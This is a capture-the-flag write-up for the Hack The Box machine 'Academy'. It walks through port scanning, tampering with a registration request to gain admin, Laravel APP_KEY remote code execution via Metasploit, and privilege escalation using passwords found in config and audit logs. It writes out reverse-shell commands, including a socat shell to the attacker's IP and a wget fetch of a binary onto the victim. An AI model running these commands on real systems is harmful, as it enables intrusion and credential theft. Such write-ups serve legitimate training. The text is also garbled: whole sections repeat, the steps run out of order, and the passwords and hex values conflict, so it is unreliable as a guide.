


Academy - 12th Nov 20

10.10.10.215



Enter a caption for this image (optional)

Scanning

We run `masscan_to_nmap.py`, a tool I made that runs a `Masscan`, identifies open ports, and then takes those open ports over to `Nmap`, and scans for versions and default scripts against those ports.

```
purple0lf@Kali:~/Downloads/academy$ python3 scanner.py -i 10.10.10.215
Running Masscan on network tun0 against the IP 10.10.10.215 to quickly identify open ports
[sudo] password for purple0lf:

Starting masscan 1.0.5 (http://bit.ly/14GZzCt) at 2020-11-12 15:13:17 GMT
-- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Running Nmap full nmap scan against 10.10.10.215 with the following ports 80,8088,22,33060,
```

```
1 PORT      STATE SERVICE      VERSION
2 22/tcp    open  ssh        OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; prot
3 | ssh-hostkey:
4 |_ 3072 c0:90:a3:d8:35:25:6f:fa:33:06:cf:80:13:a0:a5:53 (RSA)
5 |_ 256 2a:d5:4b:do:46:f0:ed:c9:3c:8d:f6:5d:ab:ae:77:06 (ECDSA)
6 |_ 256 e1:64:14:c3:cc:51:b2:3b:a6:28:a7:b1:ae:5f:45:35 (ED25519)
7 80/tcp    open  httpd       Apache/2.4.41 ((Ubuntu))
8 |_http-server-header: Apache/2.4.41 (Ubuntu)
9 |_http-title: Did not follow redirect to http://academy.htb/
10 8088/tcp  open  radan-htp?
11 33060/tcp open  mysqlx?
12 |_ fingerprint-strings:
13 * DNSStatusRequestTCP, LDAPsearchReq, NotesRPC, SSLSessionReq, TLSsessionReq,
14 * Invalid message"
15 |_ HY000
```

Enumeration

Let's explore the webpage.

Add `academy.htb` to our `/etc/hosts` via `sudo nano /etc/hosts`

```
127.0.0.1      localhost
127.0.1.1      Kali
10.10.10.215   academy.htb
# The following lines are desirable for IPv6 capable hosts
```

The website can be difficult to load sometimes, but I found that visiting <http://academy.htb/index.php> worked most consistently.

Whilst we enumerate, let's run `nikto`: `sudo nikto -h http://academy.htb`

/register.php

We can register an account, however nothing interesting seems to come from default. But if we intercept the register request in `Burpsuite`, we see that a 'Roleid' is assigned

Normally, the id is equal to zero. But if we change it to one, we may possibly be able to register as a user with higher privileges (maybe even Admin)

```
fb_1 1605194945423 595208758
Upgrade-Insecure-Requests: 1
uid=test&password=test2&confirm=test2&roleid=1
[{"id":1,"name":"test","email":"test@test.com","password":"test2","roleid":1,"status":1}
```

If we've been running Nikto, it let's us know that `/admin.php` exists. This is a good opportunity to test if our 'roleid' interception worked.

And it does! We're given this page:

The final task the admin had is incomplete, and it points to a sub-domain. Add the sub-domain to our `/etc/hosts` file and then let's traverse to it.

dev-staging-01.academy.htb

There's a lot going on here, but don't get distracted! There's some mysql creds if we scroll down, so we can keep a note of these for later maybe (`homestead; secret`)

```
UnexpectedValueException
The stream or file "/var/www/html/htb-academy/dev-01/storage/logs/laravel.log" could not be opened in append mode: failed to open stream: Permission denied
G # Application traces (1) All frames (11)
[!] UnexpectedValueException
/vendor/nanoog/mono/mono/LogHandler/StreamHandler.php:118
```

If we look at the key info, we can see we're using **Laravel** and specifically it's **log system**. If we google this info, we see that there's a metasploit module to execute an RCE:

https://www.rapid7.com/db/modules/exploit/unix/http/laravel_token_unserialize_exec

What corroborates that we're on the right path is that the metasploit module asks for something called `'app_key'`...and if we look on the website, on the bottom right, we have an `app-key`:

```
APP_NAME          "Laravel"
APP_ENV           "local"
APP_KEY           "base64:dBLUaMuZ7Iq06xtL/Xnz/90Ejq+DEEyngqubHWFj0="
APP_DEBUG         "true"
APP_URL           "http://localhost"
LOG_CHANNEL      "stack"
DB_CONNECTION    "mysql"
DB_HOST           "127.0.0.1"
DB_PORT           "3306"
DB_DATABASE       "academy"
DB_USERNAME       "mrb3n"
DB_PASSWORD       "mySup3rP4s5w0rd!!"
```

Metasploit

so start `msfconsole` and use `exploit/unix/http/laravel_token_unserialize_exec` and pass it the necessary parameters.

When you give the APP_KEY, be sure to take off the first part from the website that says "**base64**"

```
msf5 exploit(unix/http/laravel_token_unserialize_exec) > show options
Module options (exploit/unix/http/laravel_token_unserialize_exec):
 Name  Current Setting  Required  Description
 APP_KEY          dBLUaMuZ7Iq06xtL/Xnz/90Ejq+DEEyngqubHWFj0=  no   The base64 encoded APP_KEY
 Proxies          no        yes     A proxy chain of format t
 RHOSTS          10.10.10.215  yes    The target host(s), range
 RPORT            80        yes    The target port (TCP)
 SSL              false     no     Negotiate SSL/TLS for out
 TARGETURI        /        yes    Path to target webapp
 VHOST            dev-staging-01.academy.htb  no    HTTP server virtual host
```

Payload options (cmd/unix/reverse_perl):

Name	Current Setting	Required	Description
LHOST	tun0	yes	The listen address (an interface may be specified)
LPORT	5991	yes	The listen port

And if you hit run, you should get a shell:

```
msf5 exploit(unix/http/laravel_token_unserialize_exec) > run
[*] Started reverse TCP handler on 10.10.14.18:5991
[*] Command shell session 1 opened (10.10.14.18:5991 -> 10.10.10.215:38770) at 2020-11-12 18:11:25 +0000
whoami
www-data
```

www-Data shell

Our shell sucks. We can give it a basic upgrade with

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
```

Let's upgrade it further. `uname -m` confirms we're on a x64 bit machine. So let's upload a **socat** binary, and then generate a socat shell, which gives a full tty (tab-complete and history etc)

```
1 ## download socat
2 wget \
3 https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat
4
5 #host socat in kali webserver
6 sudo python -m SimpleHTTPServer 80
7
8 #pull socat from victim shell, give it executable permissions
9 cd /var/tmp && wget http://[yourTun0IP]/socat
10 chmod +x socat
11
12 #listen with socat in kali
13 socat file:`tty`,raw,echo=0 tcp-listen:5992
14
15 #execute socat in victim
16 ./socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:[YourTun0IP]:5992
```

And now we have a better shell.

```
purple0lf@Kali:~/Downloads/academy$ socat file:`tty`,raw,echo=0 tcp-listen:5992
www-data@academy:/var/tmp$ ls
socat
www-data@academy:/var/tmp$ ls
```

Enumeration II

Let's enumerate the machine to see what we can do to escalate our privileges.

We find a password in `/var/www/html/academy/.env` : **mySup3rP4s5w0rd!!**

```
LOG_CHANNEL=stack
DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=academy
DB_USERNAME=dev
DB_PASSWORD=mySup3rP4s5w0rd!!
```

If we look at the `/home` directory, we could trial and error usernames until we find one that lets us in with the password. However, we can see that **cry0lt3** has stuff inside, so let's just try their account first:

```
purple0lf@Kali:~/Downloads/academy$ ssh cry0lt3@10.10.10.215
cry0lt3@10.10.10.215's password:
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-52-generic x86_64)

 * Documentation:  http://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage
```

cry0lt3 Shell

We can use `/bin/bash` to get a shell we're used to seeing.

PrivEsc II

If we run `ls` we can see that our user can run `/usr/bin/composer` as root, effectively.

```
mr3b3n@academy:/var/tmp$ sudo -l
[sudo] password for mr3b3n:
  Matching Defaults for mr3b3n on academy:
    env_reset, mail_badpass, secure_path=/usr/local/sbin:$PATH
User mr3b3n may run the following commands on academy:
  (ALL) /usr/bin/composer
```

If we take this to <https://gtfobins.github.io/>, we are advised about a way to escalate our privileges

```
[+] Checking for TTY (sudo/su) passwords in logs
Error reading config file "/var/log/audit/audit.log": 
NOTE - using built-in logs: /var/log/audit/audit.log
1. 08/12/2020 02:28:13 80 0 ? 1 sh `su mrb3n<nl>
2. 08/12/2020 02:28:13 84 0 ? 1 su "mrb3n_Ac@d3my!"<nl>
/var/log/audit/audit.log: type=audit msg=audit(157199293.906:84): t
```

If linpeas didn't catch this, if could have looked in `/var/log/audit/audit.log.3` and if we were to `cat` that file, and `| grep tty | grep su` we'd encounter this hex code

```
4: tty pid=2502 uid=1002 gid=1002 se=1 major=4 minor=1 comm="su" data=607262336E5F41634064336D79210A
```

If we go to <https://gchq.github.io/> and take the hex code, it would give us the same plain text password

```
Input: 6D7262336E5F41634064336D79210A
```

So let's run `su mrb3n` and give the password `mySup3rP4s5w0rd!!`

```
purple0lf@Kali:~/Downloads/academy$ su mrb3n
Password: mySup3rP4s5w0rd!!
mrb3n@academy:~$ whoami
mrb3n@academy:~$
```

If we look at the `/home` directory, we could trial and error usernames until we find one that lets us in with the password. However, we can see that **cry0lt3** has stuff inside, so let's just try their account first:

```
purple0lf@Kali:~/Downloads/academy$ ssh cry0lt3@10.10.10.215
cry0lt3@10.10.10.215's password:
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-52-generic x86_64)

 * Documentation:  http://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage
```

mrb3n Shell

We can use `/bin/bash` to get a shell we're used to seeing.

PrivEsc III

If we run `ls` we can see that our user can run `/usr/bin/composer` as root, effectively.

```
mr3b3n@academy:/var/tmp$ sudo -l
[sudo] password for mr3b3n:
  Matching Defaults for mr3b3n on academy:
    env_reset, mail_badpass, secure_path=/usr/local/sbin:$PATH
User mr3b3n may run the following commands on academy:
  (ALL) /usr/bin/composer
```

If we take this to <https://gtfobins.github.io/>, we are advised about a way to escalate our privileges

```
[+] Checking for TTY (sudo/su) passwords in logs
Error reading config file "/var/log/audit/audit.log": 
NOTE - using built-in logs: /var/log/audit/audit.log
1. 08/12/2020 02:28:13 80 0 ? 1 sh `su mrb3n<nl>
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/var/log/audit/audit.log: type=audit msg=audit(157199293.906:84): t
```

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```

If we go to <https://gchq.github.io/> and take the hex code, it would give us the same plain text password

```
Input: 6D7262336E5F41634064336D79210A
```

So let's run `su mrb3n` and give the password `mySup3rP4s5w0rd!!`

```
purple0lf@Kali:~/Downloads/academy$ su mrb3n
Password: mySup3rP4s5w0rd!!
mrb3n@academy:~$ whoami
mrb3n@academy:~$
```

If we look at the `/home` directory, we could trial and error usernames until we find one that lets us in with the password. However, we can see that **cry0lt3** has stuff inside, so let's just try their account first:

```
purple0lf@Kali:~/Downloads/academy$ ssh cry0lt3@10.10.10.215
cry0lt3@10.10.10.215's password:
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-52-generic x86_64)

 * Documentation:  http://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage
```

PrivEsc IV

If we run `ls` we can see that our user can run `/usr/bin/composer` as root, effectively.

```
mr3b3n@academy:/var/tmp$ sudo -l
[sudo] password for mr3b3n:
  Matching Defaults for mr3b3n on academy:
    env_reset, mail_badpass, secure_path=/usr/local/sbin:$PATH
User mr3b3n may run the following commands on academy:
  (ALL) /usr/bin/composer
```

If we take this to <https://gtfobins.github.io/>, we are advised about a way to escalate our privileges

```
[+] Checking for TTY (sudo/su) passwords in logs
Error reading config file "/var/log/audit/audit.log": 
NOTE - using built-in logs: /var/log/audit/audit.log
1. 08/12/2020 02:28:13 80 0 ? 1 sh `su mrb3n<nl>
2. 08/12/2020 02:28:13 84 0 ? 1 su "mrb3n_Ac@d3my!"<nl>
/var/log/audit/audit.log: type=audit msg=audit(157199293.906:84): t
```

If linpeas didn't catch this, if could have looked in `/var/log/audit/audit.log.3` and if we were to `cat` that file, and `| grep tty | grep su` we'd encounter this hex code

```
4: tty pid=2502 uid=1002 gid=1002 se=1 major=4 minor=1 comm="su" data=607262336E5F41634064336D79210A
```